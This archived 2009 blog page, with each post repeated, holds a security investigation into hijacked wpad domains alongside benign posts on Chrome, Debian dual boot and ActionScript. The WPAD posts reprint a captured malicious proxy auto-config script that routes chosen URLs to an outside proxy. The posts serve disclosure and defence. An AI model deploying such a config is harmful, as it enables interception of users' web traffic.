Archive for May, 2009

The misterious Web Proxy Automatic Discovery (WPAD) Italian exploit — Part IV

If you use fire­fox on a GNU/Linux machine, you can help us in find­ing which sites are the tar­gets of the Wpad exploit we blogged about (see part 3, part 2 and part 1 ).

Alessan­dro and I have writ­ten a script that checks the WPAD ital­ian reg­u­lar expression,

function FindProxyForURL(url, host) {
        //regular expression/complexity supported?
        if ( (shExpMatch(url, "http://*g*ad*nd*c*m*sh*ds*js")) || (shExpMatch(url, "http*//*s*st*mp*tn*sk*p*") && !shExpMatch(url, "http*//*n*o.*")) ) { return "PROXY 72.55.164.182:80; DIRECT"; }
        return "DIRECT";
}

against the browser his­tory. Please make sure to close fire­fox before run­ning the script (since it accesses directly its his­tory data­base, which is locked when the browser is run­ning), and please report any pos­i­tive matches. Down­load the script by fol­low­ing this link.

No Comments

The misterious Web Proxy Automatic Discovery (WPAD) Italian exploit — Part IV

If you use fire­fox on a GNU/Linux machine, you can help us in find­ing which sites are the tar­gets of the Wpad exploit we blogged about (see part 3, part 2 and part 1 ).

Alessan­dro and I have writ­ten a script that checks the WPAD ital­ian reg­u­lar expression,

function FindProxyForURL(url, host) {
        //regular expression/complexity supported?
        if ( (shExpMatch(url, "http://*g*ad*nd*c*m*sh*ds*js")) || (shExpMatch(url, "http*//*s*st*mp*tn*sk*p*") && !shExpMatch(url, "http*//*n*o.*")) ) { return "PROXY 72.55.164.182:80; DIRECT"; }
        return "DIRECT";
}

against the browser his­tory. Please make sure to close fire­fox before run­ning the script (since it accesses directly its his­tory data­base, which is locked when the browser is run­ning), and please report any pos­i­tive matches. Down­load the script by fol­low­ing this link.

No Comments

The misterious Web Proxy Automatic Discovery (WPAD) Italian exploit — Part III

Some weeks ago I (Jacopo Cor­betta) and Luca Inv­ernizzi wrote about a curi­ous Man-In-The-Middle poten­tial attack explot­ing flaws in the Web Proxy Auto­matic Dis­cov­ery (WPAD) and DNS pro­to­cols. Long story short, if you reg­is­ter a wpad.domain name you might be able to per­form a very stealthy Man-In-The-Middle attack. Now, DNS is com­pli­cated and pro­grams are buggy, so hijack­ing a wpad.Top-Level-Domain name like wpad.com (or wpad.it or (!) wroclaw.pl) could expose a lot of com­put­ers to your attack.

You might recall that I was puz­zled by the con­tent of wpad.it/wpad.dat and won­dered what Ital­ian sites were tar­geted. Then Luca pointed out it was reg­is­tered by a pol­ish guy, and that he iden­ti­fied one of the pos­si­ble tar­gets as systempartnerski.pl.

We had in mind to run some analy­sis and then alert the reg­is­trars before post­ing again, but since the WPAD topic got atten­tion on Bug­Traq yes­ter­day it may be more timely to pub­lish our results now.

UPDATE: The wpad.dat served by the pol­ish guy changed! It appears they removed the site iden­ti­fied by Luca! The file was still in the orig­i­nal form when we reported our find­ings to the Ital­ian secu­rity mail­ing list sikurezza.org (see this mes­sage posted on 21/05, Alessan­dro posted our results on 18/05). This thing is get­ting inter­est­ing... Any­way, here’s the new file:

function FindProxyForURL(url, host) {
        //regular expressions supported?
        if ( shExpMatch(url, "http*//*g*ad*nd*c*m*sh*ds*js") ) return "PROXY 72.55.164.182:80";
        return "DIRECT";
}

Hunt­ing for WPAD exploits

As we wrote before, the only reli­able list of effec­tive top level domains is the one used in the Mozilla code, pub­licly main­tained at publicsuffix.org. Each of these domains — if reg­is­tered — could hide a mali­cious wpad.dat with poten­tially wide reach.

We think security-conscious DNS reg­is­trars should deny any request for these names — regard­less of whether the under­ly­ing WPAD vul­ner­a­bil­ity is wide­spread or not, we should do every­thing in our power to reduce the attack potential.

In our first ran­dom probes, we found the same strange wpad.dat on wpad.it, wpad.cz and wpad.pl But then we got curi­ous: how com­mon is this prob­lem? How many wpad.dats are found in the wild? So I wrote a small python script which attempted to resolve all wpad.tld names and to retrieve the asso­ci­ated wpad.tld/wpad.dats.

The TLD menace

There are some­thing like 3370 top-level-domains in the publicsuffix.org list. 122 wpad.top-level-domain are actu­ally reg­is­tered and return an IP address. 62 of them return data when asked for a wpad.dat over HTTP.

11 of those wpad.dats look like generic “domain park­ing” pages. I am not com­pletely sure, since I don’t speak all those lan­guages. Here’s the list:

.ar.com
.cm
.gouv.rw
.ph
.st
.tv
.cg
.co.st
.kiev.ua
.rw
.tk

The wpad.cn/wpad.dat and wpad.net.ua/wpad.dat also look like some kind of redi­rect pages. This brings the total of innocu­ous1 domains to 13.

The wpad domains for Switzer­land and Liecht­en­stein (.ch and .li) return a “neu­tral” wpad.dat (that is, no proxy for any URL). For .tsaritsyn.ru and .volgograd.ru an empty file is returned. I don’t know if this means that the wpad domain name was claimed by some good guy (like the one who reg­is­tered wpad.com, for exam­ple). To be com­pletely sure we would need to per­form the query from Switzer­land or Rus­sia.2

The wpad.dats for vn.ua, ptz.ru and karelia.ru look quite com­pli­cated and might even be legit­i­mate prox­y­ing attempts by a regional ISP. Addi­tional inves­ti­ga­tion would be required. Here are the files.

The remain­ing 42 wpad domains were serv­ing exactly the same wpad.dat file (now they have changed it! See our update on top) (indented for clarity):

function FindProxyForURL(url, host) {
        //regular expression/complexity supported?
        if ( (shExpMatch(url, "http://*g*ad*nd*c*m*sh*ds*js")) || 
             (shExpMatch(url, "http*//*s*st*mp*tn*sk*p*") && 
             !shExpMatch(url, "http*//*n*o.*")) ) 
        { 
                return "PROXY 72.55.164.182:80; DIRECT";
        }
        return "DIRECT";
}

All of these domains look have prob­a­bly been reg­is­tered by the same guy (even if WHOIS records are incon­clu­sive). The whois for wpad.pl even has his name (don’t know if it is accu­rate, though, so we’ll avoid post­ing names). Here is the list of affected domains:

.asia
.at
.be
.bialystok.pl
.biz.pl
.bydgoszcz.pl
.cc
.co.at
.com.es
.com.pl
.com.tw
.cz
.edu.pl
.es
.in
.it
.katowice.pl
.name
.net.cn
.net.in
.net.pl
.nom.es
.olsztyn.pl
.opole.pl
.org.cn
.org.es
.org.in
.org.pl
.org.tw
.pl
.radom.pl
.ro
.rzeszow.pl
.sk
.slask.pl
.szczecin.pl
.tw
.warszawa.pl
.waw.pl
.wroclaw.pl
.ws
.zgora.pl

As you can see, our friend has been able to grab the global wpad domain for 12 coun­tries includ­ing Poland, Italy, Spain, Aus­tria, Bel­gium, the Czech Repub­lic, Roma­nia and India.

Final thoughts and mysteries

The most obvi­ous rec­om­men­da­tion is that you reg­is­ter wpad.yourdomain.com in your orga­ni­za­tion DNS (e.g. since our beloved school has sssup.it and we admin­is­trate the allievi.sssup.it sub­do­main, we have asso­ci­ated wpad.allievi.sssup.it with a mean­ing­less IP and we’ll rec­om­mend the net­work staff to do the same with wpad.sssup.it). This will imme­di­ately stop the search for a wpad.dat by your clients.

We would also rec­om­mend reg­is­trars to delete wpad.domain entries or at least to avoid accept­ing new ones. As time allows (the exam ses­sion is near!) we’ll bring this mat­ter to the atten­tion of the reg­is­trar admins, let’s hope they lis­ten to us. If some­one with a big name is read­ing this (cool!), you might wish to con­tact some DNS authorities.

While Luca cracked the sec­ond wild­card expres­sion (http*//*s*st*mp*tn*sk*p*), we still have no idea about which sites are tar­geted by the first one (http://*g*ad*nd*c*m*sh*ds*js, maybe a JavaScript file?). And why did they use such a wide exclu­sion pat­tern (http*//*n*o.*) in the orig­i­nal file? Also, the proxy isn’t work­ing for us — maybe they are answer­ing only to IPs in Poland?

Now that some days ago the pol­ish guys changed their wpad.dat we won­der what should be our next move... and what will be their next move! We’ll post updates here, so stay tuned.

  1. The wpad.dat file has to be in a spe­cial Java-Script like for­mat, see findproxyforurl.com for details []
  2. The wpad.ch server might be serv­ing a harm­less wpad.dat to for­eign hunters and a mali­cious one to domes­tic vic­tims (of course, this applies to all domains in this list — with the pos­si­ble excep­tion of Italy, our home coun­try) []

, , , ,

2 Comments

The misterious Web Proxy Automatic Discovery (WPAD) Italian exploit — Part III

Some weeks ago I (Jacopo Cor­betta) and Luca Inv­ernizzi wrote about a curi­ous Man-In-The-Middle poten­tial attack explot­ing flaws in the Web Proxy Auto­matic Dis­cov­ery (WPAD) and DNS pro­to­cols. Long story short, if you reg­is­ter a wpad.domain name you might be able to per­form a very stealthy Man-In-The-Middle attack. Now, DNS is com­pli­cated and pro­grams are buggy, so hijack­ing a wpad.Top-Level-Domain name like wpad.com (or wpad.it or (!) wroclaw.pl) could expose a lot of com­put­ers to your attack.

You might recall that I was puz­zled by the con­tent of wpad.it/wpad.dat and won­dered what Ital­ian sites were tar­geted. Then Luca pointed out it was reg­is­tered by a pol­ish guy, and that he iden­ti­fied one of the pos­si­ble tar­gets as systempartnerski.pl.

We had in mind to run some analy­sis and then alert the reg­is­trars before post­ing again, but since the WPAD topic got atten­tion on Bug­Traq yes­ter­day it may be more timely to pub­lish our results now.

UPDATE: The wpad.dat served by the pol­ish guy changed! It appears they removed the site iden­ti­fied by Luca! The file was still in the orig­i­nal form when we reported our find­ings to the Ital­ian secu­rity mail­ing list sikurezza.org (see this mes­sage posted on 21/05, Alessan­dro posted our results on 18/05). This thing is get­ting inter­est­ing... Any­way, here’s the new file:

function FindProxyForURL(url, host) {
        //regular expressions supported?
        if ( shExpMatch(url, "http*//*g*ad*nd*c*m*sh*ds*js") ) return "PROXY 72.55.164.182:80";
        return "DIRECT";
}

Hunt­ing for WPAD exploits

As we wrote before, the only reli­able list of effec­tive top level domains is the one used in the Mozilla code, pub­licly main­tained at publicsuffix.org. Each of these domains — if reg­is­tered — could hide a mali­cious wpad.dat with poten­tially wide reach.

We think security-conscious DNS reg­is­trars should deny any request for these names — regard­less of whether the under­ly­ing WPAD vul­ner­a­bil­ity is wide­spread or not, we should do every­thing in our power to reduce the attack potential.

In our first ran­dom probes, we found the same strange wpad.dat on wpad.it, wpad.cz and wpad.pl But then we got curi­ous: how com­mon is this prob­lem? How many wpad.dats are found in the wild? So I wrote a small python script which attempted to resolve all wpad.tld names and to retrieve the asso­ci­ated wpad.tld/wpad.dats.

The TLD menace

There are some­thing like 3370 top-level-domains in the publicsuffix.org list. 122 wpad.top-level-domain are actu­ally reg­is­tered and return an IP address. 62 of them return data when asked for a wpad.dat over HTTP.

11 of those wpad.dats look like generic “domain park­ing” pages. I am not com­pletely sure, since I don’t speak all those lan­guages. Here’s the list:

.ar.com
.cm
.gouv.rw
.ph
.st
.tv
.cg
.co.st
.kiev.ua
.rw
.tk

The wpad.cn/wpad.dat and wpad.net.ua/wpad.dat also look like some kind of redi­rect pages. This brings the total of innocu­ous1 domains to 13.

The wpad domains for Switzer­land and Liecht­en­stein (.ch and .li) return a “neu­tral” wpad.dat (that is, no proxy for any URL). For .tsaritsyn.ru and .volgograd.ru an empty file is returned. I don’t know if this means that the wpad domain name was claimed by some good guy (like the one who reg­is­tered wpad.com, for exam­ple). To be com­pletely sure we would need to per­form the query from Switzer­land or Rus­sia.2

The wpad.dats for vn.ua, ptz.ru and karelia.ru look quite com­pli­cated and might even be legit­i­mate prox­y­ing attempts by a regional ISP. Addi­tional inves­ti­ga­tion would be required. Here are the files.

The remain­ing 42 wpad domains were serv­ing exactly the same wpad.dat file (now they have changed it! See our update on top) (indented for clarity):

function FindProxyForURL(url, host) {
        //regular expression/complexity supported?
        if ( (shExpMatch(url, "http://*g*ad*nd*c*m*sh*ds*js")) || 
             (shExpMatch(url, "http*//*s*st*mp*tn*sk*p*") && 
             !shExpMatch(url, "http*//*n*o.*")) ) 
        { 
                return "PROXY 72.55.164.182:80; DIRECT";
        }
        return "DIRECT";
}

All of these domains look have prob­a­bly been reg­is­tered by the same guy (even if WHOIS records are incon­clu­sive). The whois for wpad.pl even has his name (don’t know if it is accu­rate, though, so we’ll avoid post­ing names). Here is the list of affected domains:

.asia
.at
.be
.bialystok.pl
.biz.pl
.bydgoszcz.pl
.cc
.co.at
.com.es
.com.pl
.com.tw
.cz
.edu.pl
.es
.in
.it
.katowice.pl
.name
.net.cn
.net.in
.net.pl
.nom.es
.olsztyn.pl
.opole.pl
.org.cn
.org.es
.org.in
.org.pl
.org.tw
.pl
.radom.pl
.ro
.rzeszow.pl
.sk
.slask.pl
.szczecin.pl
.tw
.warszawa.pl
.waw.pl
.wroclaw.pl
.ws
.zgora.pl

As you can see, our friend has been able to grab the global wpad domain for 12 coun­tries includ­ing Poland, Italy, Spain, Aus­tria, Bel­gium, the Czech Repub­lic, Roma­nia and India.

Final thoughts and mysteries

The most obvi­ous rec­om­men­da­tion is that you reg­is­ter wpad.yourdomain.com in your orga­ni­za­tion DNS (e.g. since our beloved school has sssup.it and we admin­is­trate the allievi.sssup.it sub­do­main, we have asso­ci­ated wpad.allievi.sssup.it with a mean­ing­less IP and we’ll rec­om­mend the net­work staff to do the same with wpad.sssup.it). This will imme­di­ately stop the search for a wpad.dat by your clients.

We would also rec­om­mend reg­is­trars to delete wpad.domain entries or at least to avoid accept­ing new ones. As time allows (the exam ses­sion is near!) we’ll bring this mat­ter to the atten­tion of the reg­is­trar admins, let’s hope they lis­ten to us. If some­one with a big name is read­ing this (cool!), you might wish to con­tact some DNS authorities.

While Luca cracked the sec­ond wild­card expres­sion (http*//*s*st*mp*tn*sk*p*), we still have no idea about which sites are tar­geted by the first one (http://*g*ad*nd*c*m*sh*ds*js, maybe a JavaScript file?). And why did they use such a wide exclu­sion pat­tern (http*//*n*o.*) in the orig­i­nal file? Also, the proxy isn’t work­ing for us — maybe they are answer­ing only to IPs in Poland?

Now that some days ago the pol­ish guys changed their wpad.dat we won­der what should be our next move... and what will be their next move! We’ll post updates here, so stay tuned.

  1. The wpad.dat file has to be in a spe­cial Java-Script like for­mat, see findproxyforurl.com for details []
  2. The wpad.ch server might be serv­ing a harm­less wpad.dat to for­eign hunters and a mali­cious one to domes­tic vic­tims (of course, this applies to all domains in this list — with the pos­si­ble excep­tion of Italy, our home coun­try) []

, , , ,

2 Comments

Google Chrome bug #9007, should we care?

Much dis­cus­sion spawned from Google Chrome bug #9007. The prob­lem is actu­allty quite sim­ple: Chrome depends on SSE2 instruc­tions and so, when run on proces­sors which do not sup­port such exten­sion, will crash cry­ing ‘Ille­gal instruc­tion’ . This arcane look­ing mes­sage sim­ply means: “Come on my friend, go buy a new computer.”

To under­stand my opin­ion, let me talk a bit about the SSE fam­ily of extensions.

MMX/SSE intro­duced in main­stream com­put­ing the SIMD com­pu­ta­tional model. SIMD means ‘Sin­gle Instruc­tion Mul­ti­ple Data’, so for each instruc­tion the same com­pu­ta­tion is exe­cuted over sev­eral indipen­dent data. This kind of instruc­tions are extremely use­ful in  math­e­mat­ics and mul­ti­me­dia appli­ca­tions. I don’t think SSE can be right­fully called an exten­sion. It’s actu­ally a nec­es­sary fea­ture which was miss­ing in the early Intel desings. SSE2 was intro­duced back in 2001. And it’s cur­rently sup­ported on every mod­ern proces­sor, from Atoms to bleed­ing edge quad core Xeons. Keep in mind that by using SIMD instruc­tions it is pos­si­ble to speedup the code by a fac­tor of 4 or 8. And this could make the dif­fer­ence between a real­time and an offline application.

I really think there is no rea­son for Google devel­op­ers to waste time and resource to sup­port obso­les­cent machines. Good code should be eff­i­cent in terms of proces­sor time, power con­sump­tion and mem­ory allo­ca­tion. To obtain such goals it is often nec­es­sary to exploit new features.

This con­sid­er­a­tion is also the foun­da­tion of the lightspark project design. I’m mak­ing use of every fea­ture a mod­ern plat­form offers, such as heavy mul­ti­thread­ing sup­port, mul­ti­le­dia exten­sions and pro­gram­ma­ble graphic cards. All of this to obtain a soft­ware which is fast and lean on resources, even on lim­ited plat­form such as Mobile Inter­net Deviced and sub-notebooks.

, , , ,

3 Comments

Google Chrome bug #9007, should we care?

Much dis­cus­sion spawned from Google Chrome bug #9007. The prob­lem is actu­allty quite sim­ple: Chrome depends on SSE2 instruc­tions and so, when run on proces­sors which do not sup­port such exten­sion, will crash cry­ing ‘Ille­gal instruc­tion’ . This arcane look­ing mes­sage sim­ply means: “Come on my friend, go buy a new computer.”

To under­stand my opin­ion, let me talk a bit about the SSE fam­ily of extensions.

MMX/SSE intro­duced in main­stream com­put­ing the SIMD com­pu­ta­tional model. SIMD means ‘Sin­gle Instruc­tion Mul­ti­ple Data’, so for each instruc­tion the same com­pu­ta­tion is exe­cuted over sev­eral indipen­dent data. This kind of instruc­tions are extremely use­ful in  math­e­mat­ics and mul­ti­me­dia appli­ca­tions. I don’t think SSE can be right­fully called an exten­sion. It’s actu­ally a nec­es­sary fea­ture which was miss­ing in the early Intel desings. SSE2 was intro­duced back in 2001. And it’s cur­rently sup­ported on every mod­ern proces­sor, from Atoms to bleed­ing edge quad core Xeons. Keep in mind that by using SIMD instruc­tions it is pos­si­ble to speedup the code by a fac­tor of 4 or 8. And this could make the dif­fer­ence between a real­time and an offline application.

I really think there is no rea­son for Google devel­op­ers to waste time and resource to sup­port obso­les­cent machines. Good code should be eff­i­cent in terms of proces­sor time, power con­sump­tion and mem­ory allo­ca­tion. To obtain such goals it is often nec­es­sary to exploit new features.

This con­sid­er­a­tion is also the foun­da­tion of the lightspark project design. I’m mak­ing use of every fea­ture a mod­ern plat­form offers, such as heavy mul­ti­thread­ing sup­port, mul­ti­le­dia exten­sions and pro­gram­ma­ble graphic cards. All of this to obtain a soft­ware which is fast and lean on resources, even on lim­ited plat­form such as Mobile Inter­net Deviced and sub-notebooks.

, , , ,

3 Comments

Dual boot, the clean Debian way

Just a lit­tle trick I’ve found while installing Win­dows Vista on a Debian pow­ered pc. If you want Grub2 to find and con­fig­ure dual boot automag­i­cally, just install the pack­age os-prober.

The update-grub com­mand will now take care of  your  oper­at­ing sys­tem pan­theon for you.

, , , ,

No Comments

Dual boot, the clean Debian way

Just a lit­tle trick I’ve found while installing Win­dows Vista on a Debian pow­ered pc. If you want Grub2 to find and con­fig­ure dual boot automag­i­cally, just install the pack­age os-prober.

The update-grub com­mand will now take care of  your  oper­at­ing sys­tem pan­theon for you.

, , , ,

No Comments

ActionScript meets LLVM: part I

One of the major chal­lenges in the design of lightspark is the Action­Script exe­cu­tion engine. Most of the more recent flash con­tent is almost com­pletely build out of the Action­Script tech­nol­ogy, which with ver­sion 3.0 matured enough to become a foun­da­tional block of the cur­rent, and prob­a­bly future web. The same tech­nol­ogy is going to become also wide­spread offline if the Adobe AIR plat­form suc­ceedes as a cross plat­form appli­ca­tion framework.

But what is Action­Script? Basi­cally it is an almost ECMAscript com­pla­iant lan­guage; the spec­i­fi­ca­tion cov­ers the lan­guage itself, a huge library of com­po­nents and the byte­code for­mat that is used to deliver code to the clients, usu­ally as part of a SWF (flash) file.

The byte­code mod­els a stack-machine as most of the argu­ments are passed on the stack and not as operands in the code. This oper­a­tional descrip­tion — although quite dense — requires a lot of stack traf­fic, even for sim­ple com­pu­ta­tions. It should be noted that mod­ern x86/amd64 proces­sors employ spe­cific stack trac­ing units to opti­mize out such traf­fic, but this is highly archi­tec­ture depen­dent and not guaranteed.

LLVM (which stands fot Low-Level Vir­tual Machine) is on the other hand based on an Inter­me­di­ate Lan­guage in SSA form. This means that each sym­bol can be assigned only one time. This form is extremely use­ful when doing opti­miza­tion over the code. LLVM offers a nice inter­face for a bunch of fea­ture, most notably sophis­ti­cated opti­miza­tion of the code and Just-In-Time com­pi­la­tion to native assemply.

The chal­lenge is: how to exploit llvm power to build a fast Action­Script engine.

The answer is, as usual, a mat­ter of com­pro­mises. Quite a lot of com­mon usage pat­terns of the stack-machine can be heav­ily opti­mized with lim­ited work, for exam­ple most of the data pushed on the stack is going to be used right away! More details on this on the next issue...

, , , , , ,

1 Comment

ActionScript meets LLVM: part I

One of the major chal­lenges in the design of lightspark is the Action­Script exe­cu­tion engine. Most of the more recent flash con­tent is almost com­pletely build out of the Action­Script tech­nol­ogy, which with ver­sion 3.0 matured enough to become a foun­da­tional block of the cur­rent, and prob­a­bly future web. The same tech­nol­ogy is going to become also wide­spread offline if the Adobe AIR plat­form suc­ceedes as a cross plat­form appli­ca­tion framework.

But what is Action­Script? Basi­cally it is an almost ECMAscript com­pla­iant lan­guage; the spec­i­fi­ca­tion cov­ers the lan­guage itself, a huge library of com­po­nents and the byte­code for­mat that is used to deliver code to the clients, usu­ally as part of a SWF (flash) file.

The byte­code mod­els a stack-machine as most of the argu­ments are passed on the stack and not as operands in the code. This oper­a­tional descrip­tion — although quite dense — requires a lot of stack traf­fic, even for sim­ple com­pu­ta­tions. It should be noted that mod­ern x86/amd64 proces­sors employ spe­cific stack trac­ing units to opti­mize out such traf­fic, but this is highly archi­tec­ture depen­dent and not guaranteed.

LLVM (which stands fot Low-Level Vir­tual Machine) is on the other hand based on an Inter­me­di­ate Lan­guage in SSA form. This means that each sym­bol can be assigned only one time. This form is extremely use­ful when doing opti­miza­tion over the code. LLVM offers a nice inter­face for a bunch of fea­ture, most notably sophis­ti­cated opti­miza­tion of the code and Just-In-Time com­pi­la­tion to native assemply.

The chal­lenge is: how to exploit llvm power to build a fast Action­Script engine.

The answer is, as usual, a mat­ter of com­pro­mises. Quite a lot of com­mon usage pat­terns of the stack-machine can be heav­ily opti­mized with lim­ited work, for exam­ple most of the data pushed on the stack is going to be used right away! More details on this on the next issue...

, , , , , ,

1 Comment